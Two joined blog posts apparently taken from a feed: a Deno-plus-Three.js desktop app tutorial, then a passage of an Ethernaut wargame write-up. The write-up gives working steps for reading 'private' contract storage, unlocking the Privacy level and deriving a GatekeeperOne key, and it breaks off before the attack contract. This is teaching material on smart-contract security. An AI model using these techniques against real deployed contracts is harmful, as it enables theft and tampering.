Please note, that this way of doing things may not be the best. (I mean, you can just use Electron). But I want to use Deno specifically. I have some things in mind for which Deno is good but Node isn't!

Also, I will mention it again. I am purposefully "reinventing the wheel", in order to learn.

However, if you are looking to make desktop apps with HTML5 UIs, but don't want to use Electron, give Lorca a try! if you want to use Go. Instead of bundling Chrome, as Electron does, Lorca will use the one that is already installed! Another alternative may be Tauri. Another more Electron-like alternative could be Neutralino. Or just use Electron. I think that is also a valid alternative!

Ok. Now that you know what are we trying to achieve. There is a second package I want to use...

Three.js !!!

Yup. I'm gonna use Three.js. Well, I'm gonna attempt to :D

It may be somewhat of a bold claim, but webkitgtk (the dependency the Linux version of webview uses) claims to fully support 3D HTML canvas (ie. WebGL). And I see no reason why either apple's WebKit or Edge would not support that.

So it seems plausible that it may work! Just making it run would make for a nice little portfolio project right?

Spoilers, it does! ;)

Running a Webview window on the desktop with Deno.

Here is where we get hands-on. But before we begin, a disclaimer:

Please keep in mind that this is not a step-by-step tutorial. I spent an obscene amount of time debugging and researching online. It would be a disservice on my part to make you think it is as straightforward as it seems on this post.

Please look at the GitHub repo to see the full source code. The following are mainly snippets to help you build a mental model of what I did. And maybe encourage you to try something like this!!!

Ok now, we can start! Let's run a Webview window from deno.

Doing this is pretty straightforward. First, create a new folder. I called mine deno_gui.

And import the webview dependency with the "deps.ts" pattern:

// ./deps.ts

export {Webview} from "https://deno.land/x/webview@0.7.0-pre.1/mod.ts"

In Deno, it is a clean practice to put all your dependencies in a file like deps.ts. But you can just add them to any file that needs it. It will become a mess, though. So I'll use this deps.ts file for dependencies.

Then in a main.ts file we will write our program:

// main.ts
import { Webview } from "./deps.ts"

const html = 

`
<html>
    <body>
        <h1>Hello world! I'm using Deno version: ${Deno.version.deno}</h1>
    </body>
</html>
`

const webview = new Webview()

webview.navigate(`data:text/html,${encodeURIComponent(html)}`)
webview.run()

As you can see it's not that complicated. The Webview instance is the kernel of our program. We initialize it first. Then we "navigate" to the page defined inside the html variable. Finally, webview.run() opens the window when we run our program.

Go ahead and run it with:

$ deno run -A --unstable ./main.ts

Note that the -A flag is for "allow all" permissions. You may want to be careful with this on your own projects. And the --unstable flag will allow Deno's still unstable features. Again, you will want to be careful with this on your own projects. But for this one, we need those.

Reference for working with the Webview library

Before going any further, a quick detour! :D

Once we managed to run the window with an HTML page rendering correctly, we need to figure out how to update it from Deno.

The webview library has documentation available for its C++ bindings only at webview.devas the rest are currently incomplete.

So we will have to use that. As well as the source for the webview_deno bindings we are using. Luckily the library itself is quite small and not too complicated!

So let's get into it! We already saw a bit of it. The entry point is the Webview class along with several instance methods.

You create a Webview instance. And use both setSize() and setTitle() to set the size and title of the window, respectively. Or use the class constructor to set those.

To open a window, you call the instance's run() method. You can use the navigate() method to navigate to a URL.

You can use the bind() method to attach a native callback that will appear as a global JavaScript function available to the page. And remove it with unbind(). You can use resolve() to get values back from the native binding.

The init() method injects JavaScript code to be used at the initialization of every page. It takes a string with the js code. It will run before the window.onload event.

Webview.window() will return a reference to the window. And terminate() will close it.

And that's pretty much it!

As you can see it wouldn't take much to build a barebones Electron for Deno!

And I mean barebones! Don't get your hopes too high just yet :D

Running Three.js on the desktop with Deno

Now we need to achieve two things. First, manage to get Three.js playing nicely with this environment. And second, import it into the webkitgtk view and build a 3D scene inside it!

There seem to be two ways of achieving this. The first is to just import the three.js javascript library inside the HTML page and build our app inside the <script> tags.

Or the second is to build the app in Deno and export a js bundle. Which we could in turn import into the HTML page.

The second option would be ideal if we wanted to write a game engine in Deno for example. And I will end up doing that!

But for now, the first option will suffice to show a running Three.js app on the desktop!

Lets refactor main.ts a bit to extract the HTML page into a ./dist directory:

// main.ts

import { Webview, dirname, join} from "./deps.ts"

const pageURL = join(dirname(import.meta.url), "/dist/index.html" )

const webview = new Webview()

webview.navigate(pageURL)

webview.run()

and add the new dependencies to deps.ts

//deps.ts
export {Webview} from "https://deno.land/x/webview@0.7.0-pre.1/mod.ts"

export {dirname, join} from "https://deno.land/x/std/path/mod.ts"

Then we just need to build a web page and import the three.js library as well as our app:

./dist
|
|----/js
    |
    |---- three.js
|
|----index.html
|----app.js

The only relevant part is that inside the <body> tag of the page we need to import both js/three.js and app.js, in that order.

...
<body>
    <script src="js/three.js"></script>
    <script src="app.js"></script>
</body>
...

You may also want to add a bit of CSS to remove borders and margins...

That three.js version is the "src" version. And I saved it locally inside ./dist/js

The rest of the app will go inside app.js where we can write a three.js app. Here's the cube example from the Three.js website's "Creating a scene guide".


// All the Three.js app should go here for now

const scene = new THREE.Scene()
const camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000)

const renderer = new THREE.WebGLRenderer()

renderer.setSize(window.innerWidth, window.innerHeight)
document.body.appendChild(renderer.domElement)

const geometry = new THREE.BoxGeometry(1,1,1)
const material = new THREE.MeshBasicMaterial( {color: 0x00ff00})
const cube = new THREE.Mesh(geometry, material)

scene.add(cube)

camera.position.z = 5


function animate() {
    requestAnimationFrame(animate);

    cube.rotation.x += 0.01
    cube.rotation.y += 0.01

    renderer.render(scene, camera)
}

animate()

After this, you can run the whole thing, by running the ./main.ts at the root of the project.

$ deno run -A --unstable ./main.ts

This file will always be our entry point! You should see a new window popup with your Three.js app running!

deno-threejs-desktop.png

It works! As you can see, it's not that complicated :D

If you wanted to make the thing work you could stop now as we have achieved that. But I have some other things in mind. Therefore I will need to put in some more work. Read on!

Making our app more robust

So it's running, that's a start! But we have two problems now

  • We have to build the entire app in ./dist/app.js. I didn't show this, but Webview has some issues with import statements inside HTML <script type="module"> tags. Therefore any reasonably sized app would become a nightmare to code in a single file.
  • We are not really using any desktop-specific feature. We may as well run this on a browser. We also do not have type support.

So that makes for a very bad and limited developer experience. Which makes it impossible to achieve my actual goal of...

Making a game engine!

Yup. I'm intending to make a game engine with Deno, using WebKit with Three.js as a rendering engine.

Deno already has a "browser compatible" approach to its runtime, which means that most of Deno code is intended to be able to run both on "the server" or on the browser. Which is the ideal scenario for making a game engine using this approach.

Webview already allows us to bind callbacks into the javascript code running on the "browser". So we can use Deno as the "backend" of our game.

I could, for example, have Deno "server-side render" pages with scenes built from different Three.js scripts and have Webview navigate() to them based on an in-game event, which triggers a Deno callback.

I would be able to do all of that in Node, with Electron, of course. But 3D rendering is already resource-intensive as it is. So bundling Chromium (as Electron does) kinda defeats the purpose.

Webview aims to be lightweight, and is intended as an "HTML5" UI abstraction layer for desktop applications. Webview is, as far as I understand, just WebKit. A full browser, or even chromium, is much more than that.

And finally, the last reason I have is that I want to learn. Again, sometimes "reinventing the wheel" is a great idea. If you have the time and patience!

So that's the justification. Let's continue our project!

Bundling Three.js inside our project

The first thing we need to solve is to figure out a way to be able to write Three.js apps inside Deno itself. So that we can bundle them into the app.js file that the HTML page expects.

For this, I choose to include Three.js itself in the project files. Along with its type definitions. The first step is to install it from npm!

$ npm init
...
$ npm install three @types/three

Then we can create a ./lib folder at the root of the project and move some files from node_modules. I took the "build" version of Three.js, as well as the Examples folder which contains a bunch of useful extra stuff, like orbitControls for the camera. As well as the type definitions for Three.js.

./lib
|
|----/three
    |
    |----/examples
        |
        |---/jsm
    |----/types
        |
        |----/examples
        |----/src
        |----index.d.ts
    |
    |----three.module.js
|
|----/utils
    |----denoify.ts

We will see what denoify.ts does in a bit ;)

Three.js itself is the three.module.js file. So if you want to use Three.js with plain JavaScript, you would be done after exporting it from ./deps.ts

// deps.ts

...

export * as THREE from "./lib/three/three.module.js"

You can then build a Three.js app and use deno bundle to bundle it into a single javascript app.js file inside ./dist. Which, if you remember, is where the HTML page that runs our app resides!

But I want to use TypeScript. So I will have to figure out a way to make the type definitions work on Deno, as they will not work out of the box. Let's see why, and what we can do about it.

Denoifying Type definitions

Deno will not work with "magic module resolution", as Node does. So all import and export statements must be well-formatted URLs or relative paths with file extensions.

Given that the type definitions are written with Node in mind, they will not work on Deno, if they assume magic resolution. Unfortunately, that is the case with Three.js's types.

In order to illustrate. Take a look at a sample of how the type definitions are formatted by default:

// Three.d.ts - default exports

/**
 * SRC
 */
export * from './constants';
export * from './Three.Legacy';
export * from './utils';
/**

Deno will not work with this. Ideally, they should look like this:

// Three.d.ts - denoified exports 

/**
 * SRC
 */
export * from './constants.d.ts';
export * from './Three.Legacy.d.ts';
export * from './utils.d.ts';
/**

We could of course go to each file and manually fix it. But... come on... we are programmers! Let's spend an ungodly amount of time coding a solution that would save us a moderate amount of time!

Actually, no. I'm gonna cheat a little bit. As someone has already done this. There is an old-ish package on deno.land called threejs_4_deno, which does pretty much the same as I am doing, putting Three.js into Deno. It is no longer updated though.

It's not the exact solution I need, but one of its scripts performs almost the same thing I need here. So I'm gonna take parts of it. With proper credit of course. The author of threejs_4_deno is "DefenitelyMaybe" on GitHub. Go check their stuff out!

The script in question will fix some issues with the original Three.js files. My adaptation is the denoify.ts script. The original will not do as it was made for a previous version of Three.js and I found that some things changed, so it needs a bit of work.

Thus, let's see what the ./lib/utils/denoify.ts script does. Roughly, it crawls some given folders looking for files that match some regular expression /\.d\.ts/g. Then it looks for lines that match either /import .+?;/gms or /export (\*|{.+}) .+?/gms. And changes them to include .d.ts for the file extension. Turning them into Deno-friendly URLs.

// denoify.ts

const examplesPath = "./lib/three/types/examples/jsm"
const srcPath = "./lib/three/types/src"

// Crawl folder and find files matching a RegExp. Call a function for matches.
function loopDirAndMatch(path:string, pattern:RegExp, callback:Function) {
    for (const dirEntry of Deno.readDirSync(path)) {
        if (dirEntry.isDirectory) {
            loopDirAndMatch(`${path}/${dirEntry.name}`, pattern, callback)
        } else {
            const match = dirEntry.name.match(pattern);
            if (match) {
                callback(dirEntry.name, path)
            }
        }
    }
}

// We just want to rewrite all urls into Deno-friendly urls!
function updateTypeDefs (fileName: string, path: string) {
    let data = Deno.readTextFileSync(`${path}/${fileName}`)

    data = data.replaceAll(/import .+?;/gms, (m) => {
        if(!m.includes(".d.ts")) {
            m = `${m.slice(0, m.length - 2)}.d.ts${m.slice(m.length - 2)}`
        }
        return m
    })

    data = data.replaceAll(/export (\*|{.+}) from .+?;/gms, (m) => {
        if (!m.includes(".d.ts")) {
           m = `${m.slice(0, m.length - 2)}.d.ts${m.slice(m.length - 2)}` 
        }
        return m
    })

    // Let TypeScript know there are definitions for the browser's window object, 
    data = data.replace(/^/, `/// <reference lib="DOM" /> \n`);

    // Overwrite the same file! Be careful.
    Deno.writeTextFileSync(`${path}/${fileName}`, data)
}


loopDirAndMatch(examplesPath, /\.d\.ts/g, updateTypeDefs);
loopDirAndMatch(srcPath, /\.d\.ts/g, updateTypeDefs);

In case you are wondering why I don't use Deno's compatibility mode. The reason is that it doesn't work with TypeScript yet. Hence this workaround :D

Note that we are adding a TS "triple-slash" directive to tell the compiler that we want those files to be type-checked against TypeScript's dom lib. This will cause type conflicts in Deno as Deno's compiler uses deno.window by default, which contains some but not all of the types these files need.

To solve this new problem we need to override how Deno's compiler should type check our program. We can do this by using the --config <config file> flag for deno run. So let's create a deno.json config file on the root of the project with the following:

// ./deno.json

{
    "compilerOptions": {
        "allowJS": true,
        "lib": [
            "dom",
            "dom.iterable",
            "dom.asynciterable",
            "es2016",
            "deno.ns",
            "deno.unstable"
        ]
    }
}

The only thing to mention here is that Deno would by default include "deno.window" on the "lib" array. We are just removing it. And replacing it with the DOM libs from TypeScript. We are also using "deno.unstable" because we are using the --unstable flag anyways.

The only change you need to take care of is to make sure you run the app like this:

$ deno run -A --unstable --config ./deno.json ./main.ts

:D

As of this writing there is still one issue remaining with this part. If you want to use the objects from Three/examples, you will have to fix the imports manually. It's not that complicated. And has lower priority because you only need to fix a couple of files you use, not the hundreds of the entire library!

Once the type definitions are linked with correct URLs, thus no magic module resolution is implied, we can use Deno compiler hints to tell the TypeScript compiler where are our type definitions. Inside the dependency file.


// @deno-types="./lib/three/types/index.d.ts"
export * as THREE from "./lib/three/three.module.js"

A similar schema can be used to use the objects on the Examples folder.

Writing a more complex Three.js demo with Deno

I also made a ./src folder where I will write the actual Three.js app. So, If you want to use this project, all of the previous work is done for you!

All in all, the only thing there is to do to start working in a Three.js app is to create a ./src/index.ts and a ./src/appDeps.ts. 

./src
|
|----appDeps.ts
|----index.ts

Let's for now try to replicate a more complex example from the Three.js examples page.

First, we will be using some objects from Three.js's examples, so we will export them from ./src/appDeps.ts

// ./src/appDeps.ts


// @deno-types="./lib/three/types/index.d.ts"
export * as THREE from "./lib/three/three.module.js"

// Objects from the examples folders

// @deno-types="./lib/three/types/examples/jsm/controls/OrbitControls.d.ts"
export {OrbitControls} from "./lib/three/examples/jsm/controls/OrbitControls.js"

// @deno-types="./lib/three/types/examples/jsm/loaders/GLTFLoader.d.ts"
export {GLTFLoader} from "./lib/three/examples/jsm/loaders/GLTFLoader.js"

// @deno-types="./lib/three/types/examples/jsm/loaders/RGBELoader.d.ts"
export {RGBELoader} from "./lib/three/examples/jsm/loaders/RGBELoader.js"

As you can see, the type definitions work the same as the main three.js module.

Then we can build our app on ./src/index.ts. Here I adapted the "loader/gltf" demo from three.js examples

// ./src/index.ts

// This should be the entry point of the Three.js application

import { GLTFLoader, OrbitControls, RGBELoader, THREE } from "./appDeps.ts";

const scene = new THREE.Scene();
const camera = new THREE.PerspectiveCamera(
  45,
  window.innerWidth / window.innerHeight,
  0.25,
  20,
);
camera.position.set(-1.8, 0.6, 2.7);

const renderer = new THREE.WebGL1Renderer();

renderer.setPixelRatio(window.devicePixelRatio);
renderer.setSize(window.innerWidth, window.innerHeight);
renderer.toneMapping = THREE.ACESFilmicToneMapping;
renderer.toneMappingExposure = 1;
renderer.outputEncoding = THREE.sRGBEncoding;
document.body.appendChild(renderer.domElement);

window.addEventListener("resize", onWindowResize);

init();

render();

function init() {
  new RGBELoader()
    .setPath("assets/textures/equirectangular/")
    .load("royal_esplanade_1k.hdr", function (texture) {
      texture.mapping = THREE.EquirectangularReflectionMapping;

      scene.background = texture;
      scene.environment = texture;

      render();
    });

  const loader = new GLTFLoader().setPath("assets/models/DamagedHelmet/glTF/")
    .load("DamagedHelmet.gltf", function (gltf) {
      scene.add(gltf.scene);

      render();
    });

  const controls = new OrbitControls(camera, renderer.domElement);
  controls.addEventListener("change", render);
  controls.minDistance = 2;
  controls.maxDistance = 10;
  controls.target.set(0, 0, -0.2);
  controls.update();
}

function render() {
  renderer.render(scene, camera);
}

function onWindowResize() {
  camera.aspect = window.innerWidth / window.innerHeight;
  camera.updateProjectionMatrix();
  renderer.setSize(window.innerWidth, window.innerHeight);

  render();
}

Please note that this is being written and type-checked on Deno. We need to bundle it into a single app.js file. Which we will do next.

Bundling with esbuild

Deno has a built-in bundler, but it will not work for our case. As its output allows top-level await. Which currently won't work for browsers (or at least webview).

So I'm using esbuild. Which is extremely fast. And works great with Deno. It even has a deno-specific package. Although it is made for Node.

I made a single./build.js script: 

import * as esbuild from "https://deno.land/x/esbuild@v0.14.43/mod.js"

const result = await esbuild.build({
        entryPoints: ["./src/index.ts"],
        bundle: true,
        outfile: "./dist/app.js",
        write: true,
        target: ["safari11"]
    })

console.log(result)

// you need to stop it explicitly on Deno.
esbuild.stop()

So, once you write your Three.js app on ./src/index.ts, you just run:

$ deno run -A ./build.js

Which will create the bundled app.js on the ./dist folder.

One current problem

There is still one final problem I have not quite solved. But the app can be run. It's just inconvenient for now.

Three.js uses the FetchAPI for loading assets. So this will not load on webview if we just include relative paths, as I did in the example. As the FetchAPI will fail for local files. (I think it is for security reasons). Even the Three.js docs suggest running a local server to serve the assets.

The ideal solution will use the webview library to bind a callback into Deno. To stream the assets in string format. So they can be loaded as data:.... That can be made to work.

But it has been complicated to achieve for me right now. If you want to suggest some ideas, check issue #8 on the GitHub repo!

So the current workaround is quite straightforward. Serve index.html with a local server. And then navigate the webview instance to localhost :D

Let's see how to do it.

I am using the live server VSCode extension to quickly spin a local server to serve ./dist/index.html. Just make sure you move your assets to ./dist/assets.

Then on ./main.ts navigate to the localhost:

// ./main.ts - simple workaround

import { dirname, join, Webview } from "./deps.ts";

// we dont need this for now
// const pageURL = join(dirname(import.meta.url), "/dist/index.html");

const webview = new Webview();

// just use webview as if it was a normal browser hahaha
webview.navigate("http://localhost:5500/dist");
webview.run();

Doing that, the loading of assets should work just fine!

Final result

Let's see the more complex example running with our app:

First, serve index.html

ED1229AC-8A7D-48E8-B81C-601BFAF158A2.png

Then run the app:

$ deno run -A --unstable --config ./deno.json ./main.ts

3D17DDE3-E6D1-4C59-A849-763DD194C201.png

Here is a video of the app running:

https://youtu.be/89OJ-Mzm9Es

Further improvements

As I said, the current issue is having to use a local server. The ideal solution is to just run the app.

Another improvement is to use Deno to "server side render" HTML pages with different combinations of scripts, to build scenes. And have webview navigate to them in response to in-game events. I think this can be achieved given that webview exposes callbacks to pages.

Finally, you can compile a Deno app to a single executable. So it would be nice to be able to make a game and distribute it as a single file!

Achieving that would make for a nice foundation for a simple game engine I think :D

Check the GitHub Repo!

Here's the repo for this project on my GitHub:

Desktop3D-with-Deno

:D

Epilogue

Thanks for reaching this far! I hope it was interesting! I would appreciate it a lot if you leave some feedback!

I'm currently looking for a job. If you know of someone looking for a person that can do this kind of stuff would you mind letting them know about me?

I don't really tag myself as a "front-end" or "full-stack" developer. As I just try to learn whatever I need to work on a project. Just like I did in this one! I spent an unhealthy amount of time reading the Deno documentation!

All in all, I spent around three days working on this project, researching and coding, as well as writing this post. I don't think that's a bad timeframe :D

I did learn a lot though. And I am starting to really like both Three.js and Deno. So maybe I could look for a job involving those technologies.

I already have a portfolio project ;)

Next, I will keep working on my portfolio website with a shiny new project to showcase that I can be super proud of!

:D

I'm mostly active on Twitter, so maybe follow me there?

]]><![CDATA[Building skills for securing smart contracts.]]>https://blog.jrlgs.dev/building-skills-for-securing-smart-contractshttps://blog.jrlgs.dev/building-skills-for-securing-smart-contractsThu, 12 May 2022 09:24:57 GMTIntroduction

This is part 4 of my Ethernaut challenge ongoing series. But this is the first one where the challenges require more thinking than just implementing one single exploit. I think these can help you (and me) develop the necessary mental framework to think about smart contract security.

So I decided to treat this as a standalone post and submit it for the Hashnode Writeathon! For the Web3 category!

Here we will hack into three different smart contract by exploiting vulnerabilities. Hopefully you hop along for the ride and learn as much as I did!

The Ethernaut is an Ethereum Smart Contract [security wargame](https://en.wikipedia.org/wiki/Wargame_(hacking) by OpenZeppelin. In which you have to exploit solidity vulnerabilities to hack a smart contract each level.

Each of these vulnerabilities are based on real-life hacks, like the infamous DAO hack. And are designed to help you learn how to secure smart contracts from common attacks. You can check out the Ethernaut at ethernaut.openzeppelin.com

Therefore, the goal is to learn how those vulnerabilities work so you can write more secure smart contracts.

...

Preliminaries

These challenges are complex and require piecing together several exploits. Which will require a little bit longer explanations.

I took the effort of explaining the vulnerabilities in as much detail as I could. Trying to use simple language. But these are not beginner level topics. At least when I started I was completely clueless about what to even do with the Ethernaut challenges.

I am assuming you are already have at least a passing familiarity with solidity and how the EVM (the Ethereum Virtual Machine) works, and are comfortable with some basic mathematical reasoning.

Hopefully you learn a lot. It is well worth the effort!

Let's get started!

12th Challenge: Privacy

We need to unlock this contract by finding out what _key is.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }

  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

We will need to somehow figure out how to access the private data variable.

In challenge no. 8 (check part 3 of this series) we saw that we can read private variables by reverse-engineering the state variable layout of the smart contract. Here's a small recap from my previous post.

If you check solidity's documentation you will realize that the private modifier only means that other contracts cannot read the variable. But everything in the blockchain is public and accessible if you are clever enough.

The EVM lays out the storage of a smart contract in a table of \(2^{256}\) slots, each of 32 bytes. Stored sequentially in the order they are declared. And any values of size smaller than 32 bytes will be stored together in the same slot as long as they are sequential and they fit completely in 32 bytes.

DEB9D4B6-34F8-4948-A929-BAEAE4FCF0E5.png

This is a similar problem but will require multiple steps and knowledge on how arrays are stored.

Inspecting the contract, note that we first need to find out what data[2] is. And then cast it as a bytes16 value, from its original bytes32 type. Let's do each separately.

Reverse engineering the state variable layout to find data[2]

Here's a nice trick. You don't even have to do the math yourself. When you compile a contract, the compiler exposes the STORAGELAYOUT in its JSON output (check this learn about the JSON interface for interacting with the compiler).

This field will list all state variables and the size of their types in bytes. So you can easily map them out. Remix exposes this with a neat 1-click interface:

B88DACD4-C421-414A-8FF5-A97202729713.png

Here's the storage layout of the Privacy contract. 

{
    "storage": [
        {
            "astId": 4,
            "contract": "contracts/privacy.sol:Privacy",
            "label": "locked",
            "offset": 0,
            "slot": "0",
            "type": "t_bool"
        },
        {
            "astId": 8,
            "contract": "contracts/privacy.sol:Privacy",
            "label": "ID",
            "offset": 0,
            "slot": "1",
            "type": "t_uint256"
        },
        {
            "astId": 11,
            "contract": "contracts/privacy.sol:Privacy",
            "label": "flattening",
            "offset": 0,
            "slot": "2",
            "type": "t_uint8"
        },
        {
            "astId": 14,
            "contract": "contracts/privacy.sol:Privacy",
            "label": "denomination",
            "offset": 1,
            "slot": "2",
            "type": "t_uint8"
        },
        {
            "astId": 20,
            "contract": "contracts/privacy.sol:Privacy",
            "label": "awkwardness",
            "offset": 2,
            "slot": "2",
            "type": "t_uint16"
        },
        {
            "astId": 24,
            "contract": "contracts/privacy.sol:Privacy",
            "label": "data",
            "offset": 0,
            "slot": "3",
            "type": "t_array(t_bytes32)3_storage"
        }
    ],
    "types": {
        "t_array(t_bytes32)3_storage": {
            "base": "t_bytes32",
            "encoding": "inplace",
            "label": "bytes32[3]",
            "numberOfBytes": "96"
        },
        "t_bool": {
            "encoding": "inplace",
            "label": "bool",
            "numberOfBytes": "1"
        },
        "t_bytes32": {
            "encoding": "inplace",
            "label": "bytes32",
            "numberOfBytes": "32"
        },
        "t_uint16": {
            "encoding": "inplace",
            "label": "uint16",
            "numberOfBytes": "2"
        },
        "t_uint256": {
            "encoding": "inplace",
            "label": "uint256",
            "numberOfBytes": "32"
        },
        "t_uint8": {
            "encoding": "inplace",
            "label": "uint8",
            "numberOfBytes": "1"
        }
    }
}

With this info we can re-construct the storage layout of the contract.

0: <bool> 1 byte
1: <uint256> 32 bytes
2: <uint8, uint8, uint16>1 + 1 + 2 = 4 bytes // these get packed together
3: <bytes32[0]> 32 bytes 
4: <bytes32[1]> 32 bytes 
5: <bytes32[2]> 32 bytes

Thus, we will need to access slot 5 from the contract's storage:

const key32 = web3.eth.getStorageAt(<address>, 5)

The Ethernaut conveniently exposes web3.js on the browser console already configured for ease of use.

Which in my case returns the following string:

// data[2]
'0x7d32b32e7d56f98818e09dbce8a3eb3f581ea9882475479c0133f2cebcf4a0ed'

The first 16 bytes of data[2]

Now we will adress the guard in the unlock() function:

// this line
require(_key == bytes16(data[2]));

What bytes16(<bytes32>) does is take the first 16 bytes of the 32-byte input. Which in this case means the most significant, or the leftmost, bytes.

We have a hexadecimal string, so we know that every digit is 4-bits long. And thus, we need to take the 32 most significant digits:

const key = `${key32.slice(0, 34)}`

We slice up to 34 to take into account the first two characters of the 0x prefix.

'0x7d32b32e7d56f98818e09dbce8a3eb3f'

Unlocking the contract

Then, the only thing left to do is to plop the key into the contract. We can do it from the console:

await contract.unlock(key)

The contract object is a truffle contract abstraction exposed in the browser console by the Ethernaut. It's a neat way to interface with smart contracts on the Ethereum (or Ethereum-like) blockchain from JavaScript.

And we are done!

Screen Shot 2022-05-09 at 10.45.02.png

The Ethernaut will show you a fancy congratulatory message on the console when you have successfully completed the challenge.

...

Ok. Enough warm up. The next challenge will ramp the difficulty quite a lot.

Fasten your decentralized seatbelts!

13th Challenge: Gatekeeper One

We need to pass all three gates to win this challenge.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

This challenge doesn't really require much in terms of exploits. Just a bit of math, and understanding how the EVM works. Let's take on each gate modifier at a time.

Gate one - the tx.origin trick

We will need to do the tx.origin authentication exploit we did on challenge no.4 (check part 2 of this series) Here's the recap:

8403E7FC-90A9-4D4E-8C3A-8AE17661C1F3.png

The key is the difference between the two. tx.origin is a global variable that holds the address that initiated the transaction. While msg.sender is the address that called that specific function. Check out solidity docs page about global variables

So the way to hack this is pretty straightforward. Write a new smart contract that forwards your wallet address to the original. Then call the attacking contract from your address.

A932E859-AB91-42DD-8521-7DCD64846030.png

By now this should be pretty obvious. We just need to call enter() from a new contract, and not from our wallet account. This will ensure that tx.origin != msg.sender.

We will write a contract for this exploit anyways, so this isn't really an issue. tx.origin will be your wallet address, and msg.sender will be the contract we will write.

Let's skip gate two for now as it is the most difficult. We will come back to it.

Gate three - some math

We will solve this part of the contract:

modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

We will need to do some reasoning and use a bit of math to figure out a value for _gateKey

Nothing too complicated though :D

First, note that uint64 is of the same size as bytes8. As 64 bits is exactly 8 bytes. so we could skip the uint64(<bytes8>) function from the implied equations. As it just means that we are casting some bytes as a number. But doing no trimming.

The rest of the functions involve some trimming. Let's map those equations. Let's say \( k\) is the 8-byte key and \( t \) is the 20-byte tx.origin (as it is an address, each of which takes 20 bytes). And \(B_4, B_2\) are functions that trim down the byte array into 4-byte and 2-byte arrays. Corresponding to uint32() and uint16() respectively, but without converting to integers.

Please note that I am working with bytes instead of bit-sized integers for ease of reasoning. But the contract's code is comparing numbers, not byte strings. This means that we will have to trim the byte string from the rightmost digit (as if we were working with integers), instead of from the leftmost, as we did in the previous exercise!

$$ \begin{align} &(1) \quad B_4(k) = B_2(k)\\ &(2) \quad B_4(k) \neq k\\ &(3) \quad B_4(k) = B_2(t) \end{align} $$

Using this information we need to build an 8-byte hexadecimal string (ie. _gateKey). So let's start with:

0x00 00 00 00 00 00 00 00 // each byte is represented by two hex characters

We can combine equation (1) and (3) to claim that

$$ \begin{align} &(4) \quad B_2(t) = B_2(k)\ \end{align} $$

Thus by (4) we can say that the last 4 characters of tx.origin must be the same as the key's last. And by (3) the next four characters must be blank, to keep the equality. And the rest we don't know yet.

The last 4 characters of my wallet address are 07D2, thus:

B_2(k) = 0x07D2
B_4(k) = 0x00 00 07 D2 

// the X represents bytes we don't know yet
k = 0xXX XX XX XX 00 00 07 D2

Finally, the only requirement left is that those four remaining bytes cannot be all 00, as that would fail to satisfy (2).

Let's choose whatever bytes for XX and just say that the key is

key = 0x12 34 56 78 00 00 07 D2

Which must be a valid key.

...

Ok, now we can take on the last, and most difficult, part.

Gate two - controlling gas utilization

We need to find a way to bypass gateTwo

modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

For this one we will need to manipulate carefully the gas utilization of at least a part of our smart contract. Figuring this out is quite involved. But let's give it a shot.

First, gasleft() is a global function in solidity. It returns the amount of gas left in the current transaction as a uint256 value.

We can control the amount of gas for an external function call by using the following syntax:

// solidity compiler version at least 0.6.2
someContract.someFunction{gas: gasAmount}();

Thus, we could brute force try 8191 consecutive values of gasAmount starting from, say 100000. 8191 is a small enough number so it's reasonable to expect to brute force it in a couple seconds if we write a script.

Therefore, If we do so we are guaranteed to find the correct value. As the gate only requires that the remaining gas is evenly divisible by 8191 (ie. gasLeft() % 8191 == 0).

Which, everything else being equals, should stay constant given the same particular value of gasAmount set for the external function call. (Because the EVM is deterministic).

Or...

We could use the debugger in Remix to use a scientific approach! To figure out how is the EVM doing its thing. That seems more fun!

Let's try that second, more scientific, option.

I'll use the JavaScript VM to iterate and debug quickly. I will use the Berlin version. And deploy both the victim contract and the one we will write.

1788DD2A-DEEC-42AA-AB1C-8E2CF29BC5B4.png

The gas cost of opcodes depends on the current Hard Fork of the network. So when I deploy to the Rinkeby testnet (which is the network that the Ethernaut uses) i will have to do this whole process once more. But knowing what to look for.

Therefore, it is not a very good idea to set explicit gas values in your contracts. Unless you are doing something really specific like this!

We will write the contract first, and parametrize the amount of gas we are going to pass to the enter() method of our target contract.

Writing the contract to bypass the three gates

This is the contract I wrote. It will receive the address of the victim contract as an argument to its constructor. And the _gateKey we figured out in the previous section already baked in for one of the accounts that the JavaScriptVM generates for us.

